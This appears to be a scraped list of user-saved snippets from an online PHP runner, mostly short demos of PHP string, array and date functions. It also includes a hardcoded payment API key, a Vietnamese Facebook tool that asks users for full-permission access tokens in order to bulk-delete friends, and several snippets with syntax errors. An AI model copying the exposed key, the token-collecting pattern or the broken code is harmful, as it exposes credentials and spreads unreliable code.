<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> Name: <input type="text" name="name" value="<?php echo $name;?>"> E-mail: <input type="text" name="email" value="<?php echo $email;?>"> Website: <input type="text" name="website" value="<?php echo $website;?>"> Comment: <textarea name="comment" rows="5" cols="40"><?php echo $comment;?></textarea> Gender: <input type="radio" name="gender" <?php if (isset($gender) && $gender=="female") echo "checked";?> value="female">Female <input type="radio" name="gender" <?php if (isset($gender) && $gender=="male") echo "checked";?> value="male">Male <input type="radio" name="gender" <?php if (isset($gender) && $gender=="other") echo "checked";?> value="other">Other

program_one

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

dipesh_one

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Dipesh

<?php class MyClass { public function addNumbers($a,$b){ $answer = $a+$b; echo "Addition of $a and $b is : ".$answer; } } $objMyClass = new MyClass(); $objMyClass->addNumbers(5,7); ?>

ZestMoney Hash Code

<?php $orderNo = 'order_BCeiXg57jrVnyQ'; $apiKey='h+RbH{{Y'; $status='Declined'; $data=$orderNo.'|'.$apiKey.'|'.$status; $hashKey=hash('sha512', $data); echo $hashKey;?>

333r

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php if( stristr("tmpimg.jpge",".jpg") ){ echo "correct"; } else{ echo "incorrect"; } ?> </body> </html> <div class="container"> <div class="row"> <center><h2 style="color: blue;">TOOLS LỌC BẠN BÈ TƯƠNG TÁC</h2></center> <div class="panel panel-primary"> <div class="panel-heading"> <h3 class="panel-title">Lọc danh sách bạn bè không tương tác</h3> </div> <div class="panel-body"> <div class="col-md-12"> <div class="form-group"> <input type="text" name=" id="accessToken" class="form-control" value=" required="required" placeholder="Nhập Mã Access Token Full Quyền"> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Chọn Giới Tính</label> <select name=" id="gender" class="form-control" required="required" title="Giới Tính Bạn Bè Muốn Lọc"> <option value="all">Tất Cả</option> <option value="male">Nam</option> <option value="female">Nữ</option> <option value="500fr">Bạn Bè Dưới 500</option> <option value="vn">Bạn Bè Là Người Nước Ngoài</option> </select> </div> </div> <div class="col-md-6"> <div class="form-group"> <label>Chọn Số Lượng Post</label> <select name=" id="total_post" class="form-control" required="required" title="Lượng Post Muốn Quét"> <option value="10">10</option> <option value="20">20</option> <option value="50">50</option> <option value="50">100</option> <option value="200">200</option> <option value="10000">10000</option> </select> </div> </div> <div class="col-md-12"> <div class="form-group button-action"> <button type="button" class="btn btn-success" onclick="getListFriend();">Tiến Hành Lọc</button> <button type="button" class="btn btn-danger" onclick="Del_0_Point();">Xóa Bạn Có Điểm Tương Tác Bằng 0</button> <button type="button" class="btn btn-danger" onclick="Del_Selected();">Xóa Bạn Đã Chọn</button> </div> </div> <div class="col-md-12"> <div class="alert alert-info" id="result-msg" style="display: none;"> </div> </div> </div> </div> <div class="panel panel-primary" style="display: none;" id="ds-friends"> <div class="panel-heading"> <h3 class="panel-title">Danh Sách Xếp Hạng</h3> </div> <div class="panel-body"> <div class="table-responsive"> <table class="table table-bordered" width="100%" id="table-friends"> </table> </div> </div> </div> </div> </div> <script type="text/javascript"> var _Friends = new Array(); var _Comments = new Array(); var _Reactions = new Array(); $("#table-friends").on('click', 'tr', function() { $(this).toggleClass('active'); }); function getListFriend() { _TOKEN = $("#accessToken").val(); if (!_TOKEN) { alert("Vui Lòng Nhập Mã Access Token Full Quyền!"); return false; } $("#result-msg").html('<img src="https://www.drupal.org/files/issues/throbber_13.gif" width="30" height="30" /> Đang Lấy Thông Tin. Vui Lòng Đợi...').fadeIn("slow"); var gender = $("#gender").val(); if (gender == 'male') { var a = 'AND sex != \'female\''; var a = 'SELECT friend_count, uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND sex != "female" ORDER BY rand() LIMIT 5000'; } else if (gender == "female") { var a = 'SELECT friend_count, uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND sex != "male" ORDER BY rand() LIMIT 5000'; } else if (gender == 'die'){ var a = 'SELECT id, name FROM profile WHERE id IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND name = "Facebook User" ORDER BY rand() LIMIT 5000'; } else if(gender == '500fr'){ var a = 'SELECT friend_count, uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND friend_count < 500 ORDER BY rand() LIMIT 5000'; } else if(gender == 'vn'){ var a = 'SELECT locale, uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND locale != "vi_VN" ORDER BY rand() LIMIT 5000'; } else if(gender == 'vn'){ var a = 'SELECT locale, uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) AND locale != "vi_VN" ORDER BY rand() LIMIT 5000'; } else { var a = 'SELECT uid, name FROM user WHERE uid IN (SELECT uid2 FROM friend WHERE uid1 = me()) ORDER BY rand() LIMIT 5000'; } $.ajax({ url: "https://graph.facebook.com/fql", type: "GET", dataType: "JSON", data: { access_token: _TOKEN, q: a }, success: (data) => { _Friends = data.data; getStatus(); } }) } function showFriends(Data) { var arrFriends = new Array(); $.each(Data, (i, item) => { arrFriends[i] = [ (i + 1), '<img src="https://graph.facebook.com/' + item.uid + '/picture?width=30&height=30" /> <a target="_blank" href="https://fb.com/' + item.uid + '"> ' + item.name + '</a>', item.uid, item.reaction, item.comment, (item.comment * 2 + item.reaction) * 100 ]; }) $('#table-friends').DataTable({ destroy: true, data: arrFriends, columns: [{ title: "STT" }, { title: "FB NAME" }, { title: "FB ID" }, { title: "REACT" }, { title: "COMMENT" }, { title: "POINT" }, ], "order": [ [5, "desc"] ], "language": { "search": "Tìm Kiếm", "paginate": { "first": "Về Đầu", "last": "Về Cuối", "next": "Tiến", "previous": "Lùi" }, "info": "Hiển thị _START_ đến _END_ của _TOTAL_ mục", "infoEmpty": "Hiển thị 0 đến 0 của 0 mục", "lengthMenu": "Hiển thị _MENU_ mục", "loadingRecords": "Đang tải...", "emptyTable": "Không có gì để hiển thị", } }); } function getStatus() { $("#result-msg").empty().html('<img src="https://www.drupal.org/files/issues/throbber_13.gif" width="30" height="30" /> Đang Lấy Thông Tin Tương Tác...'); var limit = $("#total_post").val(); $.ajax({ url: "https://graph.facebook.com/me/feed", type: "GET", dataType: "JSON", data: { limit: limit, access_token: _TOKEN, fields: "id" }, success: (data) => { getComments(data.data); getReactions(data.data); setTimeout((e) => { Ranking(); }, 10000) } }) } function getReactions(Status) { var limit = 10000; for (var i = 0; i < Status.length; i++) { $.ajax({ url: "https://graph.facebook.com/" + Status[i].id + "/", type: "GET", dataType: "JSON", data: { access_token: _TOKEN, fields: "reactions.limit(" + limit + ").summary(true)" }, success: (data) => { if (data.reactions.data) { exPortReactions(data.reactions.data) } } }) } } function exPortReactions(Reactions) { for (var i = 0; i < Reactions.length; i++) { _Reactions.push(parseInt(Reactions[i].id)); } } function getComments(Status) { var limit = 1000; for (var i = 0; i < Status.length; i++) { $.ajax({ url: "https://graph.facebook.com/" + Status[i].id + "/", type: "GET", dataType: "JSON", data: { access_token: _TOKEN, fields: "comments.limit(" + limit + ").summary(true)" }, success: (data) => { if (data.comments.data) { getComments2(data.comments.data); } } }) } } function getComments2(Comments) { var limit = 2000 for (var i = 0; i < Comments.length; i++) { _Comments.push(parseInt(Comments[i].from.id)); $.ajax({ url: "https://graph.facebook.com/" + Comments[i].id + "/", type: "GET", dataType: "JSON", data: { access_token: _TOKEN, fields: "comments.limit(" + limit + ").summary(true)" }, success: (data) => { if (data.comments) { exPortComments(data.comments.data); } } }) } } function exPortComments(Comments) { for (var i = 0; i < Comments.length; i++) { _Comments.push(parseInt(Comments[i].from.id)); } } function Ranking() { $("#result-msg").empty().html('<img src="https://www.drupal.org/files/issues/throbber_13.gif" width="30" height="30" /> Đang Tính Toán Thứ Hạng ...'); for (var i = 0; i < _Friends.length; i++) { _Friends[i].reaction = countItems(_Reactions, _Friends[i].uid); _Friends[i].comment = countItems(_Comments, _Friends[i].uid); } $("#ds-friends").fadeIn("slow"); setTimeout((e) => { $("#result-msg").empty().html('<img src="http://uxotucung.org/wp-content/uploads/2016/03/tick-1-500x500.png" width="30" height="30" /> Thành Công!'); show(); }, 5000) } function show() { showFriends(_Friends); } function arrayCountValues(arr) { var v, freqs = {}; for (var i = arr.length; i--;) { v = arr[i]; if (freqs[v]) freqs[v] += 1; else freqs[v] = 1; } return freqs; } function countItems(arr, what) { var count = 0, i; while ((i = arr.indexOf(what, i)) != -1) { ++count; ++i; } return count; } $("Del_0_Point").html('<img src="https://www.drupal.org/files/issues/throbber_13.gif" width="30" height="30" /> Đang Lấy Thông Tin. Vui Lòng Đợi...').fadeIn("slow"); function Del_0_Point() { $.each(_Friends, (i, item) => { if ((item.reaction + item.comment) === 0) { removeFriend(i, item); } }) } function Del_Selected() { var Data = $("#table-friends").DataTable().rows('.active').data(); for (var i = 0; i < Data.length; i++) { removeFriend2(i, Data[i][2], Data[i][1].match(/"> (.*)</)[1]); } } function removeFriend2(i, FBID, NAME) { ! function(i, FBID, NAME) { setTimeout(function() { $.ajax({ url: 'https://graph.facebook.com/me/friends/' + FBID, type: "GET", dataType: "JSON", data: { access_token: _TOKEN, method: "delete", } }).done((e) => { $("#result-msg").fadeOut("slow", function() { $("#result-msg").empty().html('<img src="https://www.ochealthiertogether.org/content/global/application/indicators/gauges/target-met.png" width="20" height="20" /> Đã Xóa: <img src="https://graph.facebook.com/' + FBID + '/picture?width=30&height=30" /> ' + NAME + '(' + FBID + ')').fadeIn("slow"); }) }).error((e) => { $("#result-msg").fadeOut("slow", function() { $("#result-msg").empty().html('<img src="https://cdn.pixabay.com/photo/2017/02/12/21/29/false-2061132_960_720.png" width="20" height="20" /> Đã Xóa: <img src="https://graph.facebook.com/' + FBID + '/picture?width=30&height=30" /> ' + NAME + '(' + FBID + ')').fadeIn("slow"); }) }) }, i * 500) } (i, FBID, NAME) } function removeFriend(i, USER) { ! function(i, USER) { setTimeout(function() { $.ajax({ url: 'https://graph.facebook.com/me/friends/' + USER.uid, type: "GET", dataType: "JSON", data: { access_token: _TOKEN, method: "delete", } }).done((e) => { $("#result-msg").fadeOut("slow", function() { $("#result-msg").empty().html('<img src="https://www.ochealthiertogether.org/content/global/application/indicators/gauges/target-met.png" width="20" height="20" /> Đã Xóa: <img src="https://graph.facebook.com/' + item.uid + '/picture?width=30&height=30" /> ' + USER.name + '(' + USER.uid + ')').fadeIn("slow"); }) }).error((e) => { $("#result-msg").fadeOut("slow", function() { $("#result-msg").empty().html('<img src="https://cdn.pixabay.com/photo/2017/02/12/21/29/false-2061132_960_720.png" width="20" height="20" /> Đã Xóa: <img src="https://graph.facebook.com/' + item.uid + '/picture?width=30&height=30" /> ' + USER.name + '(' + USER.uid + ')').fadeIn("slow"); }) }) }, i * 300) } (i, USER) } </script>

Get Tree Ancestors

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $tree = []; function build_tree($arrs, $parent_id=0, $level=0, &$tree) { foreach ($arrs as $arr) { if ($arr['parent_id'] == $parent_id) { $tree[$arr['id']] = $arr['parent_id']; echo $arr['id']."]".str_repeat("---", $level)." ".$arr['name']."(".$arr['parent_id'].")"."\n"; build_tree($arrs, $arr['id'], $level+1, $tree); } else { $tree[$arr['id']] = $arr['parent_id']; } } } //for demo $beforeTree = [ ['id' => 1, 'parent_id' => 0, 'name' => 'A'], ['id' => 2, 'parent_id' => 1, 'name' => 'b'], ['id' => 3, 'parent_id' => 1, 'name' => 'c'], ['id' => 4, 'parent_id' => 1, 'name' => 'd'], ['id' => 5, 'parent_id' => 1, 'name' => 'e'], ['id' => 6, 'parent_id' => 2, 'name' => 'f'], ['id' => 7, 'parent_id' => 2, 'name' => 'g'], ['id' => 8, 'parent_id' => 2, 'name' => 'h'], ['id' => 9, 'parent_id' => 2, 'name' => 'i'], ['id' => 10, 'parent_id' => 3, 'name' => 'j'], ['id' => 11, 'parent_id' => 3, 'name' => 'k'], ['id' => 12, 'parent_id' => 3, 'name' => 'l'], ['id' => 13, 'parent_id' => 3, 'name' => 'm'], ['id' => 14, 'parent_id' => 4, 'name' => 'n'], ['id' => 15, 'parent_id' => 4, 'name' => 'o'], ['id' => 16, 'parent_id' => 4, 'name' => 'p'], ['id' => 17, 'parent_id' => 4, 'name' => 'q'], ['id' => 18, 'parent_id' => 6, 'name' => 'f1'], ['id' => 19, 'parent_id' => 6, 'name' => 'f2'], ['id' => 20, 'parent_id' => 6, 'name' => 'f3'], ['id' => 21, 'parent_id' => 6, 'name' => 'f4'], ]; function get_ancestors($items, $child, &$ptree) { foreach($items as $id=>$parent_id) { if($id == $child) { $ptree[] = $parent_id; get_ancestors($items, $parent_id, $ptree); } } } echo "===============TREE START==================\n"; build_tree($beforeTree, 0, 0, $tree); //var_dump($tree); echo "=============== TREE END ==================\n"; echo "\n===============Ancestors of Child==================\n"; $ptree = []; get_ancestors($tree, 9, $ptree); var_dump($ptree); echo "==================================================\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html>

Tree in PHP

<html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php $tree = []; function build_tree($arrs, $parent_id=0, $level=0, &$tree) { foreach ($arrs as $arr) { if ($arr['parent_id'] == $parent_id) { $tree[$arr['parent_id']] = $arr['id']; echo str_repeat("---", $level)." ".$arr['name']."\n"; build_tree($arrs, $arr['id'], $level+1, $tree); } else { $tree[$arr['parent_id']] = [$arr['id']]; } } } //for demo $beforeTree = [ ['id' => 1, 'parent_id' => 0, 'name' => 'A'], ['id' => 2, 'parent_id' => 1, 'name' => 'b'], ['id' => 3, 'parent_id' => 1, 'name' => 'c'], ['id' => 4, 'parent_id' => 1, 'name' => 'd'], ['id' => 5, 'parent_id' => 1, 'name' => 'e'], ['id' => 6, 'parent_id' => 2, 'name' => 'f'], ['id' => 7, 'parent_id' => 2, 'name' => 'g'], ['id' => 8, 'parent_id' => 2, 'name' => 'h'], ['id' => 9, 'parent_id' => 2, 'name' => 'i'], ['id' => 10, 'parent_id' => 3, 'name' => 'j'], ['id' => 11, 'parent_id' => 3, 'name' => 'k'], ['id' => 12, 'parent_id' => 3, 'name' => 'l'], ['id' => 13, 'parent_id' => 3, 'name' => 'm'], ['id' => 14, 'parent_id' => 4, 'name' => 'n'], ['id' => 15, 'parent_id' => 4, 'name' => 'o'], ['id' => 16, 'parent_id' => 4, 'name' => 'p'], ['id' => 17, 'parent_id' => 4, 'name' => 'q'], ['id' => 18, 'parent_id' => 6, 'name' => 'f1'], ['id' => 19, 'parent_id' => 6, 'name' => 'f2'], ['id' => 20, 'parent_id' => 6, 'name' => 'f3'], ['id' => 21, 'parent_id' => 6, 'name' => 'f4'], ]; echo "===============TREE START==================\n"; build_tree($beforeTree, 0, 0, $tree); //var_dump($tree); echo "=============== TREE END ==================\n"; echo "\n===============Ancestors of Child==================\n"; //get_ancestors($beforeTree); echo "==================================================\n"; ?> </body> </html>

key

<?php // ключ $alfa = array('а','б','в','г','д','е','ж','з','и','й','к','л','м','н','о','п','р','с','т','у','ф','х','ц','ч','ш','щ','ь','ы','Ъ','э','ю','я','_','"'); shuffle($alfa); $items = array(); foreach($alfa as $key => $val){ //echo "'$val',"; $items[] = $val; } $t = implode("','",$alfa); echo "'" . $t . "'"?>

decode

<?php //кодированное значение $str = 'б"81"9я2е"р89"п"я4"д2'; $code = preg_split('//u', $str, null, PREG_SPLIT_NO_EMPTY); $x = count($code); // ключ $str1 = 'Ърбэсвщедо016яш5уьым32липжй49"ню78чзгхткцф а'; $alfa1 = preg_split('//u', $str1, null, PREG_SPLIT_NO_EMPTY); //настройка кодировщика (настройка одинаковая на двух устройствах) $str2 = '0дуы8б6сч"Ъфщ2киьот4вмг3еэзн7црлйаюжпш19х я5'; $alfa2 = preg_split('//u', $str2, null, PREG_SPLIT_NO_EMPTY); //раскодировка послания в числовом коде $it = array(); for($i=0; $i<$x; $i++){ $key = array_search($code[$i],$alfa2); $it[] = $key; } echo "\n"; //расшифровка for($i=0; $i<$x; $i++){ $key = $it[$i]; echo "$alfa1[$key]"; } ?>

code

<?php $str = "серая вода"; $code = preg_split('//u', $str, null, PREG_SPLIT_NO_EMPTY); $x = count($code); // кодировщик $alfa = array("а","б","в","г","д","е","ж","з","и","к","л","м","н","о","п","р","с","т","у","ф","х","ц","ч","ш","щ","ь","ы","Ъ","э","ю","я"," "); shuffle($alfa); for($i=0; $i<$x; $i++){ $key = array_search($code[$i],$alfa); echo "$key."; } echo "\n"; //алгоритм кода $items = array(); foreach($alfa as $key => $val){ echo "'$val',"; $items[] = $val; }?>

call_user_func_array

<?php $ar = [ 'arr1' => [1, 2, 3, 4], 'arr2' => [45, 5, 67, 81, 2, 4] ]; var_dump( call_user_func_array('array_diff', $ar)); ?>

arra_diff

<?php $ar = [ 'arr1' => [1, 2, 3, 4], 'arr2' => [45, 5, 67, 81, 2, 4] ]; var_dump( call_user_func('array_diff', $ar)); ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> </body> </html> <?php $array = array( 'a' =>'Sam dao', 'b' => 'Binh Dinh' ); ?> <table> <tr> <td>Tên</td> <td>Quê quán</td> </tr> <?php foreach($array as $key => $sv): echo $key."=>".$sv."<br>"; endforeach; ?> </table>

hjjjjj

</php echo stristr("Demo text!","TEXT",true); ?> <?php echo stristr("Demo text!","TEXT",true); ?>

strcasecmp() function in PHP example 2

<?php $val1 = "Tom"; $val2 = "tom"; if (strcasecmp($val1, $val2) == 0) { echo '$va11 is equal to $val2'; } ?>

PHP quotemeta() function

<?php $str = "3 * 9 = 27"; echo quotemeta($str); ?>

PHP htmlspecialchars decode() function

<?php $s = "<p>this -&gt; &quot;keyword in programming language</p>\n"; echo htmlspecialchars_decode($s); echo htmlspecialchars_decode($s, ENT_NOQUOTES); ?>

PHP count chars() function

<?php $s = "Weclome!"; print_r(count_chars($s,1)); ?>

asdsad

<?php function pr($a) { echo "<pre>"; print_r($a); echo "</pre>"; } $year_arr = [2017, 2018]; $fn_month = 4; $date_range_arr = []; foreach ($year_arr as $key => $value) { $fn_month = str_pad(intval($fn_month),2, 0, STR_PAD_LEFT); $date = ".($value-1)."-$fn_month-01"; // first day of month $date_range_arr[$value] = [ 'start_date' => $date, 'end_date' => date("Y-m-t", strtotime($date.' 11 months')), // last month minus and last date of month ]; } pr($date_range_arr); die;

asda

<?php function pr($a) { echo "<pre>"; print_r($a); echo "</pre>"; } $year_arr = [2017, 2018]; $fn_month = 4; $date_range_arr = []; foreach ($year_arr as $key => $value) { $fn_month = str_pad(intval($fn_month),2, 0, STR_PAD_LEFT); $date = "$value-$fn_month-01"; // first day of month $date_range_arr[$value] = [ 'start_date' => $date, 'end_date' => date("Y-m-t", strtotime($date.' 11 months')), // last month minus and last date of month ]; } pr($date_range_arr); die; <html> <body> <?php $capital = 67; $CaPiTaL = 22; print("Variable capital is $capital</br>"); print("Variable CaPiTaL is $CaPiTaL</br>"); ?> </body> </html>

test

<?php function pr($a) { echo "<pre>"; print_r($a); echo "</pre>"; } $year_arr = [2017, 2018]; $fn_month = 4; $date_range_arr = []; foreach ($year_arr as $key => $value) { $fn_month = str_pad(intval($fn_month),2, 0, STR_PAD_LEFT); $date = "$value-$fn_month-01"; // first day of month $date_range_arr[$value] = [ 'start_date' => $date, 'end_date' => date("Y-m-t", strtotime($date.' -1 months')), // last month minus and last date of month ]; } pr($date_range_arr); die;

PHP timezone_abbreviations

<?php $res = timezone_abbreviations_list(); print_r($res["act"]); ?>

PHP timezone_abbreviations_list() function

<?php $timezone_abbreviations = timezone_abbreviations_list (); print_r($timezone_abbreviations["acst"]); echo "----------------------------------------------\n"; # Using second function. $timezone_abbreviations = DateTimeZone::listAbbreviations(); print_r($timezone_abbreviations["acst"]); ?>

PHP ctype_cntrl() function

<?php $arr = array('str1' =>"\n\r\t", 'str2' =>"demo76876test"); foreach ($arr as $a => $demo) { if (ctype_cntrl($demo)) { echo "$a has all control characters. \n"; }else { echo "$a does not have all control characters. \n"; } } ?>

PHP ctype_print() function

<?php $arr = array('asdf\n\r\t', 'yu67', "fooo#int%@"); foreach ($arr as $x) { if (ctype_print($x)) { echo "$x has all printable characters. \n"; }else { echo "$x does not have all printable characters. \n"; } } ?>

PHP ctype_graph() function

<?php $arr = array('khy\n\r\t', 'arf12', 'LKA#@%.54'); foreach ($arr as $demo) { if (ctype_graph($demo)) { echo "$demo consists of all (visibly) printable characters \n"; }else { echo "$demo does not have all (visibly) printable characters. \n"; } } ?> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php echo "<h1>Hello, PHP!</h1>\n"; ?> </body> </html> <html> <head> <title>Online PHP Script Execution</title> </head> <body> <?php class MyClass { protected $car = "skoda"; $driver = "SRK"; function __construct($par) { // Statements here run every time // an instance of the class // is created. } function myPublicFunction() { return("I'm visible!"); } protected function myPrivateFunction() { return("I'm visible in child class!"); } } ?> </body> </html>

PHP easter_days() function

<?php echo "Easter Day was ". easter_days(2017) . " days after March 21 in the year 2017"; ?>

PHP key() function

<?php $arr = array("Electronics","Footwear"); echo "Key from the current position = " . key($arr); ?>

PHP ksort() function

<?php $product = array("headphone"=>"10", "mouse"=>"24", "pendrive"=>"13"); ksort($product); foreach ($product as $key => $val) { echo "$key = $val\n"; } ?>

PHP asort() function

<?php $a = array( "0" => "India", "1" => "Australia", "2" => "England", "3" => "Bangladesh", "4" => "Zimbabwe", ); asort($a); foreach ($a as $key => $val) { echo "[$key] = $val"; echo"\n"; } ?>

PHP shuffle() function

<?php $arr = array("mac", "windows", "linux", "solaris"); shuffle($arr); print_r($arr); ?>

PHP array_pad() function

<?php $arr = array("one","two"); print_r(array_pad($arr,4,"three")); ?>

PHP uasort() function

<?php function display($x,$y) { if ($x==$y) return 0; return ($x<$y)?-1:1; } $myarr = array("a"=>30,"b"=>12,"c"=>75); uasort($myarr,"display"); foreach($myarr as $x=>$x_value) { echo "Key=" . $x . " Value=" . $x_value; echo "<br>"; } ?>

PHP sizeof() function

<?php $students = array("Jack","Peter", "Anne","David"); echo sizeof($students); ?>

PHP rsort() function returns true

<?php $arr = array(30, 12, 76, 98, 45, 78); rsort($arr); print_r($arr); ?>

PHP range() function

<?php $number = range(0,12,3); print_r ($number); ?>

PHP pos() function

<?php $a = array('one', 'two', 'three'); echo current($a)."\n"; echo next($a)."\n"; echo pos($a)."\n"; ?>

PHP pos() function returns the value

<?php $arr = array("one", "two"); echo pos($arr); ?>

PHP list() function

<?php $arr = array("David","Jack"); list($one, $two) = $arr; echo "Selected candidates: $one and $two."; ?>

PHP krsort() function

<?php $product = array("p"=>"headphone", "r"=>"mouse", "q"=>"pendrive"); krsort($product); foreach ($product as $key => $val) { echo "$key = $val\n"; } ?>

PHP in array() function

<?php $pro = array("Tom", "Amit", "Peter", "Rahul", 5, 10); if (in_array(5, $pro, TRUE)) { echo "Match!"; } else { echo "No Match!"; } ?>

PHP in array() function returns true

<?php $stu = array("Tom", "Amit", "Peter", "Rahul"); if (in_array("Amit", $stu)) { echo "Match!"; } else { echo "No Match!"; } ?>

PHP end() function

<?php $a = array('one', 'two', 'three', 'four', 'five', 'six' ); echo current($a)."\n"; echo next($a)."\n"; echo current($a)."\n"; echo end($a)."\n"; echo current($a)."\n"; ?>

PHP end() function returns the value

<?php $os = array('windows', 'mac', 'linux', 'solaris'); echo end($os); ?>

PHP current() function

<?php $a = array('one', 'two', 'three', 'four', 'five', 'six' ); echo current($a)."\n"; echo next($a)."\n"; echo current($a)."\n"; ?>

PHP compact() function

<?php $name = "Tom"; $subject = "Hanks"; $id = "001"; $details = array("name", "subject"); $res = compact($details, "id"); print_r($res); ?>

PHP compact() function returns an array

<?php $ELE = "Electronics"; $ACC = "Accessories"; $res = compact("ELE", "ACC"); print_r($res); ?>

PHP arsort() function

<?php $rank = array("Australia"=>2,"India"=>5,"Bangladesh"=>9); arsort($rank); foreach($rank as $akey=>$avalue) { echo "Key=" . $akey . " : Value=" . $avalue; echo "<br>"; } ?>

PHP array unshift() function returns

<?php $arr = array("p"=>"one","q"=>"two"); print_r(array_unshift($arr,"three")); ?>

PHP array uintersect uassoc() function

<?php function compare_func_key($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } function compare_func_val($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("a" => "laptop", "b" => "keyboard", "c" => "mouse"); $arr2 = array("a" => "laptop", "b" => "keyboard", "c" => "headphone"); $res = array_uintersect_uassoc($arr1, $arr2, "compare_func_key", "compare_func_val"); print_r($res); ?>

PHP array uintersect() function

<?php function compare_func($a, $b) { if ($a === $b) { return 0; } return ($a > $b)? 1:-1; } $arr1 = array("p"=>"one","q"=>"two","r"=>"three"); $arr2 = array("p"=>"three","q"=>"four","s"=>"three"); $res = array_uintersect($arr1, $arr2, "compare_func"); print_r($res); ?>

PHP array sum() function returns the sum of values

<?php $arr = array(50, 100, 150, 300); echo array_sum($arr); ?>

array_slice() function in PHP

<?php $arr = array("one","two","three","four"); print_r(array_slice($arr,-2)); ?>

PHP array slice() function

<?php $arr = array("electronics","accessories","shoes","toys","bags"); print_r(array_slice($arr,1,3, false)); ?>

PHP array slice() function returns

<?php $arr = array("laptop","mobile","tablet","pendrive","headphone"); print_r(array_slice($arr,2,3, true)); ?>

PHP array search() function

<?php $arr = array(30, 2, 5, 7, 90, 35, 78); echo array_search(35,$arr,true); ?>

PHP array reduce() function

<?php function display($a1,$a2) { return $a1 + $a2; } $arr = array(50, 100, 150, 200, 250); print_r(array_reduce($arr,"display",500)); ?>

PHP array reduce() function returns the resulting value

<?php function display($a1,$a2) { return $a1 . " DEMO " . $a2; } $a = array("One","Two"); print_r(array_reduce($a,"display",2)); ?>

PHP array_push() function

<?php $arr = array("table", "chair","pen", "pencil"); array_push($arr,"notepad", "paperclip"); print_r($arr); ?>

my code

<?php $input = array("a", "b", "c", "d", "e"); $output = array_slice($input, -2, 1); var_export($output);

date_timezone_set() function in PHP

<?php $dt = date_create("2018-09-30",timezone_open("America/Chicago")); date_timezone_set($dt,timezone_open("America/Antigua")); echo date_format($dt,"Y-m-d H:i:sP"); ?>

date_modify() function in PHP

<?php $dt = date_create("2018-10-05"); date_modify($dt,"+5 days"); echo date_format($dt,"Y-m-d"); ?>

wordwrap() function in PHP

<?php $str = "Java is a programming language developed by James Gosling in 1994."; $res = wordwrap($str, 15, "<br />\n"); echo $res; ?>

ucwords() function in PHP example 2

<?php $s = "#demo#text"; $sep = '$'; $res = ucwords($s, $sep); print_r($res); ?>

substr() function in PHP example 3

<?php echo substr("website development",-5,-2)."<br>" ?>

strtr() function in PHP

<?php $mystr = "kom lan" ; $str1 = "koml"; $str2 = "tomh"; echo strtr($mystr, $str1, $str2); ?>

strstr() function in PHP example 2

<?php echo strstr("Brad Pitt!", "a", true); ?>

strstr() function in PHP

<?php echo strstr("Brad Pitt!", "a"); ?>

strripos() function in PHP

<?php echo strripos("This is demo text !","DEMO"); ?>

strrev() funtion in PHP

<?php echo strrev("Jack"); ?>

strrchr() function in PHP

<?php echo strrchr("Welcome to the web","web"); ?>

strpbrk() function in PHP example 2

<?php echo strpbrk("DEMO Text", "epl"); ?>

strncmp() function in PHP example 2

<?php $str1 = "TomHanks"; $str2 = "tomhanks"; print_r(strncmp($str1, $str2, 8)); ?>

strnatcmp() function in PHP example 2

<?php echo strnatcmp("5Demo", "50DEMO"); echo "\n"; echo strnatcmp("50Demo", "5DEMO"); echo "\n"; echo strnatcmp("100Demo", "100Demo"); ?>

stristr() function in PHP example 2

</php echo stristr("Demo text!","TEXT",true); ?>

stripos() function in PHP

<?php echo stripos("Cricket is a sports!, Cricket is a religion","Cricket"); ?>

strip_tags() function in PHP example 2

<?php echo strip_tags("<p>Demo <strong>Text!</strong></p>","<strong>"); ?>

strip_tags() function in PHP

<?php echo strip_tags("<p>Demo <strong>Text!</strong></p>"); ?>

strcspn() function in PHP

<?php echo strcspn("demo text","m"); ?>

strchr() function in PHP example 2

<?php $str= "This is demo text!"; $findStr = "demo" ; echo strchr($str, $findStr, true); ?>

str_word_count() function in PHP

<?php print_r(str_word_count("Demo text!",1)); ?>

str_replace() function in PHP

<?php $str = "I am Amit"; $res = str_replace("Amit", "David", $str); echo $res; ?>

str_repeat() function in PHP

<?php echo str_repeat("$",10); ?>

str_ireplace() function in PHP

<?php $str = "I am Amit"; $res = str_ireplace("Amit", "David", $str); echo $res; ?>

sprintf() function in PHP

<?php $val = 299; $txt = sprintf("%f",$val); echo $txt; ?>

sha1() function in PHP

<?php $s = "Welcome"; echo sha1($s); ?>

rtrim() function in PHP

<?php $str = "Welcome to our website! "; echo "Applying rtrim(): " . rtrim($str); ?>

quoted_printable_encode() function in PHP

<?php echo quoted_printable_encode("www.example.com") ?>

print() function in PHP example 3

<?php print "This is a demo text in multiple lines."; ?>

print() function in PHP example 2

<?php $one = "Java is a programming language!"; $two = "James Gosling developed Java!"; $three = "Current version of Java is Java SE 11!"; print $one . " " . $two . " " .$three; ?>

parse_str() function in PHP

<?php parse_str("studentname=Jack&marks=95",$arr); print_r($arr); ?>

ord() function in PHP

<?php echo ord("welcome"); ?>

number_format() function in PHP

<?php echo number_format("10000000"); ?>

money_format() function in PHP example 2

<?php $number = 3825.91; setlocale(LC_MONETARY, 'it_IT'); echo money_format('%.2n', $number) . "\n"; ?>

metaphone() function in PHP example 3

